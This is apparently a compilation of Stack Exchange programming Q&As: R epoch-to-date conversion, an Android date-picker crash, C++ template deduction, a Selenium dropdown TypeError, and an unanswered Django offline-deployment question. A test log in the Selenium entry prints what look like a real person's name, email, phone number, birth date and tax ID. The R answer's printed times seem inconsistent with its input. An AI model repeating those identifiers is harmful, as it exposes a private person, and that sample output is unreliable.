问:
How to convert an integer variable from excel to date and time in R
I have a large dataset with time stamps. The original data contained the time format like this:

```<code>Short-weekday, day abbreviated-month year HH:MM:SS
e.g.: Thu, 25 Nov 2021 12:40:47
</code>```

When the data were saved as csv, these dates were turned into numbers and were read in as integers  into R. I would like to convert these integers back to dates and time in R to continue to work with them properly.

Here are some of my data for try-out.

```<code>df <- c(1633867200, 1633874400, 1633885200, 1633869155, 1633874402, 1633885202)
</code>```

This is what I tried so far with the error messages

```<code>> openxlsx::convertToDateTime(df)
Error in as.POSIXlt.character(x, tz, ...) :
  character string is not in a standard unambiguous format

> as.Date(as.character(df,format = "%a, %d %b %Y %H:%M:%S", origin = "1900-01-01"))
Error in charToDate(x) :
  character string is not in a standard unambiguous format
</code>```

I feel I am not taking into account the structure of the integer properly (thus, the error message), but I am not sure what else to try.

Does anyone have any idea?

Thanks a lot in advance!

Body:
I have a large dataset with time stamps. The original data contained the time format like this:

Short-weekday, day abbreviated-month year HH:MM:SS
e.g.: Thu, 25 Nov 2021 12:40:47

When the data were saved as csv, these dates were turned into numbers and were read in as integers  into R. I would like to convert these integers back to dates and time in R to continue to work with them properly.

Here are some of my data for try-out.

df <- c(1633867200, 1633874400, 1633885200, 1633869155, 1633874402, 1633885202)

This is what I tried so far with the error messages

> openxlsx::convertToDateTime(df)
Error in as.POSIXlt.character(x, tz, ...) :
  character string is not in a standard unambiguous format

> as.Date(as.character(df,format = "%a, %d %b %Y %H:%M:%S", origin = "1900-01-01"))
Error in charToDate(x) :
  character string is not in a standard unambiguous format

I feel I am not taking into account the structure of the integer properly (thus, the error message), but I am not sure what else to try.

Does anyone have any idea?

Thanks a lot in advance!

Body:
The numbers look like unix epoch, which can be converted to date with the origin 1970-01-01

as.POSIXct(df, format="%s", origin="1970-01-01")
[1] "2021-10-10 15:32:50 CEST" "2021-10-10 17:32:50 CEST"
[3] "2021-10-10 20:32:50 CEST" "2021-10-10 16:05:25 CEST"
[5] "2021-10-10 17:32:52 CEST" "2021-10-10 20:32:52 CEST"


来源: stackexchange

问:
Getting an error when launching a material date picker from a fragment android
I'm trying to launch an Material date picker from a fragment and I'm getting this error

java.lang.IllegalStateException: Fragment MaterialDatePicker{6058a76} (da2fbbc0-ee9f-4536-85f7-3942c18a1087) not attached to an activity.

My Fragment

```<code>@AndroidEntryPoint
class ReportFragment : Fragment() {

    private var _binding: FragmentReportBinding? = null
    private val binding get() = _binding!!

    private var stDate: Long? = null
    private var ndDate: Long? = null

    override fun onCreateView(
        inflater: LayoutInflater, container: ViewGroup?,
        savedInstanceState: Bundle?
    ): View {
        _binding = FragmentReportBinding.inflate(inflater, container, false)

        setUpUi()

        return binding.root
    }

    private fun setUpUi() {
        with(binding) {
            startDate.setOnClickListener {
                showDatePicker(
                    getString(R.string.select_start_date),
                    selectedStartDate,
                    DateType.START_DATE
                )
            }
        }
     }

      private fun showDatePicker(dateCategory: String, textView: TextView, dateType: DateType) {
        val datePicker = MaterialDatePicker.Builder.datePicker().apply {
            setTitleText(dateCategory)
            setInputMode(MaterialDatePicker.INPUT_MODE_CALENDAR)
            setSelection(MaterialDatePicker.todayInUtcMilliseconds())
        }.build()
        datePicker.apply {
            show(requireActivity().supportFragmentManager, "DATE_PICKER")
            addOnPositiveButtonClickListener {
                val date = this.headerText
                textView.text = date
                when (dateType) {
                    DateType.START_DATE -> stDate = it
                    DateType.END_DATE -> ndDate = it
                }
            }
        }
    }
}
</code>```
```<code>
enum class DateType {
    START_DATE,
    END_DATE
}
</code>```

This is the error I'm getting

```<code>E/AndroidRuntime: FATAL EXCEPTION: main
    Process: com.reachafrika.reachafrikapay, PID: 15162
    java.lang.IllegalStateException: Fragment MaterialDatePicker{6058a76} (da2fbbc0-ee9f-4536-85f7-3942c18a1087) not attached to an activity.
        at androidx.fragment.app.Fragment.requireActivity(Fragment.java:928)
        at com.reachafrika.reachafrikapay.presentation.ui.fragments.reports.ReportFragment.showDatePicker(ReportFragment.kt:137)
        at com.reachafrika.reachafrikapay.presentation.ui.fragments.reports.ReportFragment.setUpUi$lambda-4$lambda-1(ReportFragment.kt:71)
        at com.reachafrika.reachafrikapay.presentation.ui.fragments.reports.ReportFragment.$r8$lambda$5X7432cB-iIkf15NUD-AuzGqT3E(Unknown Source:0)
        at com.reachafrika.reachafrikapay.presentation.ui.fragments.reports.ReportFragment$$ExternalSyntheticLambda3.onClick(Unknown Source:4)
        at android.view.View.performClick(View.java:7184)
        at android.view.View.performClickInternal(View.java:7157)
        at android.view.View.access$3500(View.java:821)
        at android.view.View$PerformClick.run(View.java:27660)
        at android.os.Handler.handleCallback(Handler.java:914)
        at android.os.Handler.dispatchMessage(Handler.java:100)
        at android.os.Looper.loop(Looper.java:225)
        at android.app.ActivityThread.main(ActivityThread.java:7563)
        at java.lang.reflect.Method.invoke(Native Method)
        at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:539)
        at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:994)
</code>```

答:
```<code>datePicker.apply {
        show(requireActivity() ...
</code>```

Here you are calling requireActivity() on the datePicker that is not attached to any activity yet. Remember that apply changes the receiver i.e. this, and the receiver here has requireActivity() defined too, so it resolves first.

You likely want to call requireActivity() on the calling fragment, as in

```<code>datePicker.apply {
        show(this@ReportFragment.requireActivity() ...
</code>```

ContentLicense: CC BY-SA 4.0

Body:
I'm trying to launch an Material date picker from a fragment and I'm getting this error

java.lang.IllegalStateException: Fragment MaterialDatePicker{6058a76} (da2fbbc0-ee9f-4536-85f7-3942c18a1087) not attached to an activity.

My Fragment

@AndroidEntryPoint
class ReportFragment : Fragment() {

    private var _binding: FragmentReportBinding? = null
    private val binding get() = _binding!!

    private var stDate: Long? = null
    private var ndDate: Long? = null

    override fun onCreateView(
        inflater: LayoutInflater, container: ViewGroup?,
        savedInstanceState: Bundle?
    ): View {
        _binding = FragmentReportBinding.inflate(inflater, container, false)

        setUpUi()

        return binding.root
    }

    private fun setUpUi() {
        with(binding) {
            startDate.setOnClickListener {
                showDatePicker(
                    getString(R.string.select_start_date),
                    selectedStartDate,
                    DateType.START_DATE
                )
            }
        }
     }

      private fun showDatePicker(dateCategory: String, textView: TextView, dateType: DateType) {
        val datePicker = MaterialDatePicker.Builder.datePicker().apply {
            setTitleText(dateCategory)
            setInputMode(MaterialDatePicker.INPUT_MODE_CALENDAR)
            setSelection(MaterialDatePicker.todayInUtcMilliseconds())
        }.build()
        datePicker.apply {
            show(requireActivity().supportFragmentManager, "DATE_PICKER")
            addOnPositiveButtonClickListener {
                val date = this.headerText
                textView.text = date
                when (dateType) {
                    DateType.START_DATE -> stDate = it
                    DateType.END_DATE -> ndDate = it
                }
            }
        }
    }
}

enum class DateType {
    START_DATE,
    END_DATE
}

This is the error I'm getting

E/AndroidRuntime: FATAL EXCEPTION: main
    Process: com.reachafrika.reachafrikapay, PID: 15162
    java.lang.IllegalStateException: Fragment MaterialDatePicker{6058a76} (da2fbbc0-ee9f-4536-85f7-3942c18a1087) not attached to an activity.
        at androidx.fragment.app.Fragment.requireActivity(Fragment.java:928)
        at com.reachafrika.reachafrikapay.presentation.ui.fragments.reports.ReportFragment.showDatePicker(ReportFragment.kt:137)
        at com.reachafrika.reachafrikapay.presentation.ui.fragments.reports.ReportFragment.setUpUi$lambda-4$lambda-1(ReportFragment.kt:71)
        at com.reachafrika.reachafrikapay.presentation.ui.fragments.reports.ReportFragment.$r8$lambda$5X7432cB-iIkf15NUD-AuzGqT3E(Unknown Source:0)
        at com.reachafrika.reachafrikapay.presentation.ui.fragments.reports.ReportFragment$$ExternalSyntheticLambda3.onClick(Unknown Source:4)
        at android.view.View.performClick(View.java:7184)
        at android.view.View.performClickInternal(View.java:7157)
        at android.view.View.access$3500(View.java:821)
        at android.view.View$PerformClick.run(View.java:27660)
        at android.os.Handler.handleCallback(Handler.java:914)
        at android.os.Handler.dispatchMessage(Handler.java:100)
        at android.os.Looper.loop(Looper.java:225)
        at android.app.ActivityThread.main(ActivityThread.java:7563)
        at java.lang.reflect.Method.invoke(Native Method)
        at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:539)
        at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:994)

Body:
datePicker.apply {
        show(requireActivity() ...

Here you are calling requireActivity() on the datePicker that is not attached to any activity yet. Remember that apply changes the receiver i.e. this, and the receiver here has requireActivity() defined too, so it resolves first.

You likely want to call requireActivity() on the calling fragment, as in

datePicker.apply {
        show(this@ReportFragment.requireActivity() ...


问:
Is there any workaround for implicit user-defined conversion operator() to be considered when deducing function arguments?
Consider the following example, which tries to pass a std::array to a function. Naturally the "conversion" is not considered, but is there any work-around without having to be explicit? Especially if the class already provides the necessary properties (value_type etc.).

template <typename T, size_t N>
struct Array_t
{
    using value_type = T;
    using size_type = size_t;

    std::array<T, N> Internal{};

    constexpr operator auto() { return Internal; }
};

template <typename T, size_t N> constexpr bool Test(std::array<T, N> Input)
{
    return Input.size() == 32;
}

constexpr std::array<uint8_t, 32> OK1 = Array_t<uint8_t, 32>();
constexpr auto OK2 = Test((std::array<uint8_t, 32>)Array_t<uint8_t, 32>{});
constexpr auto OK3 = Test(Array_t<uint8_t, 32>().Internal);

// could not deduce template argument for 'std::array<_Ty,_Size>'
// from 'Array_t<uint8_t,32>'
constexpr auto FAIL = Test(Array_t<uint8_t, 32>{});
```

To clarify, a workaround so that the Array_t struct can be passed directly to any function expecting a std::array. No casting, no helper/conversion function, just some way to make the compiler understand that the struct is convertible. Possibly in a similar manner to CTAD.

答:
Template deduction never considers (user-defined) conversion. Given your:

template <typename T, size_t N>
constexpr bool Test(std::array<T, N> Input);
```

If you see, in code, Test(x), then that is only ever valid if x is either specifically some kind of std::array or inherits (publicly and unambiguously) from that.

If you want this to work, you have several different options of what to do (in my personal preference order):

You can make Test a broader function template, accepting anything that it could actually use instead of only specifically std::array<T, N>. Given that you said "Especially if the class already provides the necessary properties (value_type etc.)", this suggests that what you want for Test isn't specifically a std::array. So you should figure out what those actual properties are and write an appropriately-constrained function template. For instance, does any ranges::contiguous_range suffice or do you actually need compile-time size?  Do you even need contiguity? etc.

You can explicitly convert your Array_t to a std::array on the call-side. This works better if you give the conversion function a name, so you can write something like obj.to_array() rather than static_cast<std::array<T, N>>(obj) (which is both much longer to type and more annoying to get the parameters correct).

You can explicitly provide the necessary template arguments to Test, like Test<uint8_t, 32>(obj) - this avoids needing to deduce T and N, now you just have a normal function that takes a std::array<uint8_t, 32>, so conversions work just fine. Note that you have to provide both, Test<uint8_t>(obj) is insufficient.

You can make Array_t<T, N> inherit from std::array<T, N>, instead of just converting to it. That works right off the bat.

Body:
Consider the following example, which tries to pass a std::array to a function. Naturally the "conversion" is not considered, but is there any work-around without having to be explicit? Especially if the class already provides the necessary properties (value_type etc.).

template <typename T, size_t N>
struct Array_t
{
    using value_type = T;
    using size_type = size_t;

    std::array<T, N> Internal{};

    constexpr operator auto() { return Internal; }
};

template <typename T, size_t N> constexpr bool Test(std::array<T, N> Input)
{
    return Input.size() == 32;
}

constexpr std::array<uint8_t, 32> OK1 = Array_t<uint8_t, 32>();
constexpr auto OK2 = Test((std::array<uint8_t, 32>)Array_t<uint8_t, 32>{});
constexpr auto OK3 = Test(Array_t<uint8_t, 32>().Internal);

// could not deduce template argument for 'std::array<_Ty,_Size>'
// from 'Array_t<uint8_t,32>'
constexpr auto FAIL = Test(Array_t<uint8_t, 32>{});

To clarify, a workaround so that the Array_t struct can be passed directly to any function expecting a std::array. No casting, no helper/conversion function, just some way to make the compiler understand that the struct is convertible. Possibly in a similar manner to CTAD.

Body:
Template deduction never considers (user-defined) conversion. Given your:

template <typename T, size_t N>
constexpr bool Test(std::array<T, N> Input);

If you see, in code, Test(x), then that is only ever valid if x is either specifically some kind of std::array or inherits (publicly and unambiguously) from that.

If you want this to work, you have several different options of what to do (in my personal preference order):

You can make Test a broader function template, accepting anything that it could actually use instead of only specifically std::array<T, N>. Given that you said "Especially if the class already provides the necessary properties (value_type etc.)", this suggests that what you want for Test isn't specifically a std::array. So you should figure out what those actual properties are and write an appropriately-constrained function template. For instance, does any ranges::contiguous_range suffice or do you actually need compile-time size?  Do you even need contiguity? etc.

You can explicitly convert your Array_t to a std::array on the call-side. This works better if you give the conversion function a name, so you can write something like obj.to_array() rather than static_cast<std::array<T, N>>(obj) (which is both much longer to type and more annoying to get the parameters correct).

You can explicitly provide the necessary template arguments to Test, like Test<uint8_t, 32>(obj) - this avoids needing to deduce T and N, now you just have a normal function that takes a std::array<uint8_t, 32>, so conversions work just fine. Note that you have to provide both, Test<uint8_t>(obj) is insufficient.

You can make Array_t<T, N> inherit from std::array<T, N>, instead of just converting to it. That works right off the bat.


问:
TypeError: argument of type 'int' is not iterable error using select_by_value() from dropdown dynamically using pytest parameterization
I have a testdata sheet where I am providing the suminsured value, the same should be select from the suminsured dropdown available in the web page. Following is the code written in the BasePage where I am defining the select class to identify the dropdown

```<code>def SelectSumInsured(self,sumvalue):
    sumdropdown = Select(self.driver.find_element(By.XPATH, "//select[@formcontrolname = 'income']"))
    suminsured = sumdropdown.select_by_value(sumvalue)
    return suminsured
</code>```

Now in the page object screen, I am inheriting the BasePage and defined functions like below

```<code>class HealthInsurancePage(BasePage):

    def __init__(self, driver):
        super().__init__(driver)

    def SelectSum(self,sumvalue):
        self.SelectSumInsured(sumvalue)
</code>```

Now in the testscript, I have used pytest parameterized for the data driven approach which should select the dropdown value as per my data I have provided in the excel sheet

```<code>class Test_RSA_Health(BaseTest):

    @pytest.mark.parametrize("pin,sumvalue", dataProvider.get_data("excelsheetname"))
    def test_RSA_Health(self,pin,sumvalue):
        home = HomePage(self.driver)
        healthinsuranepage = home.SelectHealth()
        self.VerifyPresence_PinCodeTextBox()
        healthinsuranepage.landing_page()
        healthinsuranepage.InputPin(pin)
        healthinsuranepage.SelectSum(sumvalue)
</code>```

For inputting the pin for a text field, is working fine but when I am trying to select from any dropdown, I am having the below error

```<code>TypeError: argument of type 'int' is not iterable
</code>```

As requested, find below the complete error stack

```<code>platform win32 -- Python 3.9.7, pytest-6.2.5, py-1.11.0, pluggy-1.0.0 -- C:\Users\aprat\AppData\Local\Programs\Python\Python39\python.exe
cachedir: .pytest_cache
metadata: {'Python': '3.9.7', 'Platform': 'Windows-10-10.0.19042-SP0', 'Packages': {'pytest': '6.2.5', 'py': '1.11.0', 'pluggy': '1.0.0'}, 'Plugins': {'allure-pytest': '2.9.45', 'ast-t
ransformer': '1.0.3', 'pytest_check': '1.0.4', 'forked': '1.3.0', 'html': '3.1.1', 'metadata': '1.11.0', 'rerunfailures': '10.2', 'server-fixtures': '1.7.0', 'shutil': '1.7.0', 'soft-a
ssertions': '0.1.2', 'xdist': '2.4.0'}, 'JAVA_HOME': 'C:\\Program Files\\Java\\jre1.8.0_301'}
rootdir: C:\Users\aprat\PycharmProjects\Demo-Web-Automation\TestCases
plugins: allure-pytest-2.9.45, ast-transformer-1.0.3, pytest_check-1.0.4, forked-1.3.0, html-3.1.1, metadata-1.11.0, rerunfailures-10.2, server-fixtures-1.7.0, shutil-1.7.0, soft-asser
tions-0.1.2, xdist-2.4.0
collecting ... total cols are  19
total rows are  3
[[560008, 700000, 9836680067, 30, 'Apratim Chaudhuri', 'apratim.chaudhuri@riskcovr.com', 'Apratim', 'Chaudhuri', '1/2/1992', 1000000, 'AMHPC9725D', 'QA', 'GD', 'SaltLake', 180, 75, 'te
stnomineefirst', 'testnomineelast', '1/2/1992']]
[[560008, 700000, 9836680067, 30, 'Apratim Chaudhuri', 'apratim.chaudhuri@riskcovr.com', 'Apratim', 'Chaudhuri', '1/2/1992', 1000000, 'AMHPC9725D', 'QA', 'GD', 'SaltLake', 180, 75, 'te
stnomineefirst', 'testnomineelast', '1/2/1992'], [560008, 500000, 9836680067, 30, 'Apratim Chaudhuri', 'apratim.chaudhuri@riskcovr.com', 'Apratim', 'Chaudhuri', '1/2/1992', 1000000, 'A
MHPC9725D', 'QA', 'GD', 'SaltLake', 180, 75, 'testnomineefirst', 'testnomineelast', '1/2/1992']]
collected 2 items

test_RSA_Health.py::Test_RSA_Health::test_RSA_Health[560008-700000-9836680067-30-Apratim Chaudhuri-apratim.chaudhuri@riskcovr.com-Apratim-Chaudhuri-1/2/1992-1000000-AMHPC9725D-QA-GD-Sa
ltLake-180-75-testnomineefirst-testnomineelast-1/2/1992]
DevTools listening on ws://127.0.0.1:55170/devtools/browser/d421fa5e-76f4-4af6-8542-d3c80ff44613
[24148:11008:0212/005823.767:ERROR:chrome_browser_main_extra_parts_metrics.cc(227)] START: ReportBluetoothAvailability(). If you don't see the END: message, this is crbug.com/1216328.
[24148:11008:0212/005823.767:ERROR:chrome_browser_main_extra_parts_metrics.cc(230)] END: ReportBluetoothAvailability()
[24148:11008:0212/005823.769:ERROR:chrome_browser_main_extra_parts_metrics.cc(235)] START: GetDefaultBrowser(). If you don't see the END: message, this is crbug.com/1216328.
[24148:9888:0212/005823.772:ERROR:device_event_log_impl.cc(214)] [00:58:23.773] USB: usb_device_handle_win.cc:1049 Failed to read descriptor from node connection: A device attached to
the system is not functioning. (0x1F)
[24148:11008:0212/005823.790:ERROR:chrome_browser_main_extra_parts_metrics.cc(239)] END: GetDefaultBrowser()
FAILED

====================================================================================== FAILURES =======================================================================================
_ Test_RSA_Health.test_RSA_Health[560008-700000-9836680067-30-Apratim Chaudhuri-apratim.chaudhuri@riskcovr.com-Apratim-Chaudhuri-1/2/1992-1000000-AMHPC9725D-QA-GD-SaltLake-180-75-testn
omineefirst-testnomineelast-1/2/1992] _

self = <TestCases.test_RSA_Health.Test_RSA_Health object at 0x0000022C0C64BBB0>, pin = 560008, sumvalue = 700000, mobileno = 9836680067, selfage = 30, fullname = 'Apratim Chaudhuri'
email = 'apratim.chaudhuri@riskcovr.com', firstname = 'Apratim', lastname = 'Chaudhuri', dob = '1/2/1992', income = 1000000, pan = 'AMHPC9725D', designation = 'QA', add1 = 'GD'
add2 = 'SaltLake', height = 180, weight = 75, nomfirstname = 'testnomineefirst', nomlastname = 'testnomineelast', nomdob = '1/2/1992'

    @pytest.mark.parametrize("pin,sumvalue,mobileno,selfage,fullname,email,firstname,lastname,dob,income,pan,designation,add1,add2,height,weight,nomfirstname,nomlastname,nomdob", dataP
rovider.get_data("rsa_health"))
    def test_RSA_Health(self,pin,sumvalue,mobileno,selfage,fullname,email,firstname,lastname,dob,income,pan,designation,add1,add2,height,weight,nomfirstname,nomlastname,nomdob):
        home = HomePage(self.driver)
        healthinsuranepage = home.SelectHealth()
        self.VerifyPresence_PinCodeTextBox()
        healthinsuranepage.landing_page()
        healthinsuranepage.InputPin(pin)
>       healthinsuranepage.SelectSum(sumvalue)

test_RSA_Health.py:17:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
..\Pages\HealthInsurancePage.py:24: in SelectSum
    dropdown.select_by_value(sumvalue)
..\..\..\AppData\Local\Programs\Python\Python39\lib\site-packages\selenium\webdriver\support\select.py:78: in select_by_value
    css = "option[value =%s]" % self._escapeString(value)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

self = <selenium.webdriver.support.select.Select object at 0x0000022C0C679CD0>, value = 700000

    def _escapeString(self, value):
>       if '"' in value and "'" in value:
E       TypeError: argument of type 'int' is not iterable

..\..\..\AppData\Local\Programs\Python\Python39\lib\site-packages\selenium\webdriver\support\select.py:219: TypeError
---------------------------------------------------------------------------------- Captured log call ----------------------------------------------------------------------------------
INFO     Pages.BasePage:BasePage.py:27 Clicking on an Element health_XPATH
INFO     Pages.BasePage:BasePage.py:60 Typing in an Element pin_XPATH entered the value as : 560008
=============================================================================== short test summary info ===============================================================================
F
</code>```

答:
This error message...

```<code>    css = "option[value =%s]" % self._escapeString(value)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

self = <selenium.webdriver.support.select.Select object at 0x0000022C0C679CD0>, value = 700000

    def _escapeString(self, value):
>       if '"' in value and "'" in value:
E       TypeError: argument of type 'int' is not iterable
</code>```

...implies that select_by_value(value) expects the value to be in string format. Where as, in your usecase sumvalue was an interger.

Solution

Convert sumvalue as a str while passing as an argument to SelectSum() as follows:

```<code>healthinsuranepage.SelectSum(str(sumvalue))
</code>```

Body:
I have a testdata sheet where I am providing the suminsured value, the same should be select from the suminsured dropdown available in the web page. Following is the code written in the BasePage where I am defining the select class to identify the dropdown

def SelectSumInsured(self,sumvalue):
    sumdropdown = Select(self.driver.find_element(By.XPATH, "//select[@formcontrolname = 'income']"))
    suminsured = sumdropdown.select_by_value(sumvalue)
    return suminsured

Now in the page object screen, I am inheriting the BasePage and defined functions like below

class HealthInsurancePage(BasePage):

    def __init__(self, driver):
        super().__init__(driver)

    def SelectSum(self,sumvalue):
        self.SelectSumInsured(sumvalue)

Now in the testscript, I have used pytest parameterized for the data driven approach which should select the dropdown value as per my data I have provided in the excel sheet

class Test_RSA_Health(BaseTest):

    @pytest.mark.parametrize("pin,sumvalue", dataProvider.get_data("excelsheetname"))
    def test_RSA_Health(self,pin,sumvalue):
        home = HomePage(self.driver)
        healthinsuranepage = home.SelectHealth()
        self.VerifyPresence_PinCodeTextBox()
        healthinsuranepage.landing_page()
        healthinsuranepage.InputPin(pin)
        healthinsuranepage.SelectSum(sumvalue)

For inputting the pin for a text field, is working fine but when I am trying to select from any dropdown, I am having the below error

TypeError: argument of type 'int' is not iterable

As requested, find below the complete error stack

platform win32 -- Python 3.9.7, pytest-6.2.5, py-1.11.0, pluggy-1.0.0 -- C:\Users\aprat\AppData\Local\Programs\Python\Python39\python.exe
cachedir: .pytest_cache
metadata: {'Python': '3.9.7', 'Platform': 'Windows-10-10.0.19042-SP0', 'Packages': {'pytest': '6.2.5', 'py': '1.11.0', 'pluggy': '1.0.0'}, 'Plugins': {'allure-pytest': '2.9.45', 'ast-t
ransformer': '1.0.3', 'pytest_check': '1.0.4', 'forked': '1.3.0', 'html': '3.1.1', 'metadata': '1.11.0', 'rerunfailures': '10.2', 'server-fixtures': '1.7.0', 'shutil': '1.7.0', 'soft-a
ssertions': '0.1.2', 'xdist': '2.4.0'}, 'JAVA_HOME': 'C:\\Program Files\\Java\\jre1.8.0_301'}
rootdir: C:\Users\aprat\PycharmProjects\Demo-Web-Automation\TestCases
plugins: allure-pytest-2.9.45, ast-transformer-1.0.3, pytest_check-1.0.4, forked-1.3.0, html-3.1.1, metadata-1.11.0, rerunfailures-10.2, server-fixtures-1.7.0, shutil-1.7.0, soft-asser
tions-0.1.2, xdist-2.4.0
collecting ... total cols are  19
total rows are  3
[[560008, 700000, 9836680067, 30, 'Apratim Chaudhuri', 'apratim.chaudhuri@riskcovr.com', 'Apratim', 'Chaudhuri', '1/2/1992', 1000000, 'AMHPC9725D', 'QA', 'GD', 'SaltLake', 180, 75, 'te
stnomineefirst', 'testnomineelast', '1/2/1992']]
[[560008, 700000, 9836680067, 30, 'Apratim Chaudhuri', 'apratim.chaudhuri@riskcovr.com', 'Apratim', 'Chaudhuri', '1/2/1992', 1000000, 'AMHPC9725D', 'QA', 'GD', 'SaltLake', 180, 75, 'te
stnomineefirst', 'testnomineelast', '1/2/1992'], [560008, 500000, 9836680067, 30, 'Apratim Chaudhuri', 'apratim.chaudhuri@riskcovr.com', 'Apratim', 'Chaudhuri', '1/2/1992', 1000000, 'A
MHPC9725D', 'QA', 'GD', 'SaltLake', 180, 75, 'testnomineefirst', 'testnomineelast', '1/2/1992']]
collected 2 items

test_RSA_Health.py::Test_RSA_Health::test_RSA_Health[560008-700000-9836680067-30-Apratim Chaudhuri-apratim.chaudhuri@riskcovr.com-Apratim-Chaudhuri-1/2/1992-1000000-AMHPC9725D-QA-GD-Sa
ltLake-180-75-testnomineefirst-testnomineelast-1/2/1992]
DevTools listening on ws://127.0.0.1:55170/devtools/browser/d421fa5e-76f4-4af6-8542-d3c80ff44613
[24148:11008:0212/005823.767:ERROR:chrome_browser_main_extra_parts_metrics.cc(227)] START: ReportBluetoothAvailability(). If you don't see the END: message, this is crbug.com/1216328.
[24148:11008:0212/005823.767:ERROR:chrome_browser_main_extra_parts_metrics.cc(230)] END: ReportBluetoothAvailability()
[24148:11008:0212/005823.769:ERROR:chrome_browser_main_extra_parts_metrics.cc(235)] START: GetDefaultBrowser(). If you don't see the END: message, this is crbug.com/1216328.
[24148:9888:0212/005823.772:ERROR:device_event_log_impl.cc(214)] [00:58:23.773] USB: usb_device_handle_win.cc:1049 Failed to read descriptor from node connection: A device attached to
the system is not functioning. (0x1F)
[24148:11008:0212/005823.790:ERROR:chrome_browser_main_extra_parts_metrics.cc(239)] END: GetDefaultBrowser()
FAILED

====================================================================================== FAILURES =======================================================================================
_ Test_RSA_Health.test_RSA_Health[560008-700000-9836680067-30-Apratim Chaudhuri-apratim.chaudhuri@riskcovr.com-Apratim-Chaudhuri-1/2/1992-1000000-AMHPC9725D-QA-GD-SaltLake-180-75-testn
omineefirst-testnomineelast-1/2/1992] _

self = <TestCases.test_RSA_Health.Test_RSA_Health object at 0x0000022C0C64BBB0>, pin = 560008, sumvalue = 700000, mobileno = 9836680067, selfage = 30, fullname = 'Apratim Chaudhuri'
email = 'apratim.chaudhuri@riskcovr.com', firstname = 'Apratim', lastname = 'Chaudhuri', dob = '1/2/1992', income = 1000000, pan = 'AMHPC9725D', designation = 'QA', add1 = 'GD'
add2 = 'SaltLake', height = 180, weight = 75, nomfirstname = 'testnomineefirst', nomlastname = 'testnomineelast', nomdob = '1/2/1992'

    @pytest.mark.parametrize("pin,sumvalue,mobileno,selfage,fullname,email,firstname,lastname,dob,income,pan,designation,add1,add2,height,weight,nomfirstname,nomlastname,nomdob", dataP
rovider.get_data("rsa_health"))
    def test_RSA_Health(self,pin,sumvalue,mobileno,selfage,fullname,email,firstname,lastname,dob,income,pan,designation,add1,add2,height,weight,nomfirstname,nomlastname,nomdob):
        home = HomePage(self.driver)
        healthinsuranepage = home.SelectHealth()
        self.VerifyPresence_PinCodeTextBox()
        healthinsuranepage.landing_page()
        healthinsuranepage.InputPin(pin)
>       healthinsuranepage.SelectSum(sumvalue)

test_RSA_Health.py:17:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
..\Pages\HealthInsurancePage.py:24: in SelectSum
    dropdown.select_by_value(sumvalue)
..\..\..\AppData\Local\Programs\Python\Python39\lib\site-packages\selenium\webdriver\support\select.py:78: in select_by_value
    css = "option[value =%s]" % self._escapeString(value)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

self = <selenium.webdriver.support.select.Select object at 0x0000022C0C679CD0>, value = 700000

    def _escapeString(self, value):
>       if '"' in value and "'" in value:
E       TypeError: argument of type 'int' is not iterable

..\..\..\AppData\Local\Programs\Python\Python39\lib\site-packages\selenium\webdriver\support\select.py:219: TypeError
---------------------------------------------------------------------------------- Captured log call ----------------------------------------------------------------------------------
INFO     Pages.BasePage:BasePage.py:27 Clicking on an Element health_XPATH
INFO     Pages.BasePage:BasePage.py:60 Typing in an Element pin_XPATH entered the value as : 560008
=============================================================================== short test summary info ===============================================================================
F

Body:
This error message...

    css = "option[value =%s]" % self._escapeString(value)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

self = <selenium.webdriver.support.select.Select object at 0x0000022C0C679CD0>, value = 700000

    def _escapeString(self, value):
>       if '"' in value and "'" in value:
E       TypeError: argument of type 'int' is not iterable

...implies that select_by_value(value) expects the value to be in string format. Where as, in your usecase sumvalue was an interger.

Solution

Convert sumvalue as a str while passing as an argument to SelectSum() as follows:

healthinsuranepage.SelectSum(str(sumvalue))


问:
Django project deployment on an offline pc, locally, we don't want to go online
I have a Django project. we cannot go online, is there any way to deploy the project in a client computer just for the client to use there on his pc? no need to go online! user needs to type an address in browser to get the starting page of some other easy path! is it possible? or is there any other way to solve this problem?</p>

答:
